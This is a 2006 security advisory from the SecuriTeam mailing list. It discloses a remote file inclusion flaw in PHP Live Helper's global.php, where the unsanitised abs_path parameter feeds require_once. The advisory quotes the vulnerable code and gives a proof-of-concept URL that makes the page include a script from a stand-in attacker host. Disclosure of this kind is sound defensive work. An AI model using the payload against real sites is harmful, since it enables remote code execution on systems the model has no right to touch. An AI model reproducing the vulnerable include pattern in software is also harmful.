[UNIX] PHP Live Helper File Inclusion
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 6 Aug 2006 17:33:27 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
PHP Live Helper File Inclusion
------------------------------------------------------------------------
SUMMARY
<http://www.turnkeywebtools.com/products.php?p=phplivehelper> PHP Live
Helper provides a "reliable real-time customer support and visitor
communication directly on your site". Input passed to the "abs_path"
parameter in global.php is not properly verified before being used. This
can be exploited to execute arbitrary PHP code by including files from
local or external resources.
DETAILS
Vulnerable code:
...
<?PHP
/*
global.php - 05/30/2006 - 5:27pm PST - 2.0
PHP Live Helper
http://www.turnkeywebtools.com/phplivehelper/
Copyright (c) 2001-2006 Turnkey Web Tools, Inc.
*/
define('PLH_SESSION_START', '1');
////////////////////////////
// Load Class & Secure Files
////////////////////////////
require_once $abs_path."/libsecure.php";
include_once $abs_path."/include/class.browser.php";
..
Proof of Concept:
The following URL will include the file found at attacker.com into the
execution path of the PHP environment:
http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?
Solution:
Sanitize variable $abs_path on global.php.
ADDITIONAL INFORMATION
The information has been provided by Ahmad Maulana a.k.a Matdhule.
The original article can be found at:
<http://advisories.echo.or.id/adv/adv42-matdhule-2006.txt>
http://advisories.echo.or.id/adv/adv42-matdhule-2006.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [UNIX] Jetbox Multiple Vulnerabilities
- Next by Date: [UNIX] phpAutoMembersArea File Inclusion
- Previous by thread: [UNIX] Jetbox Multiple Vulnerabilities
- Next by thread: [UNIX] phpAutoMembersArea File Inclusion
- Index(es):
Relevant Pages
|
|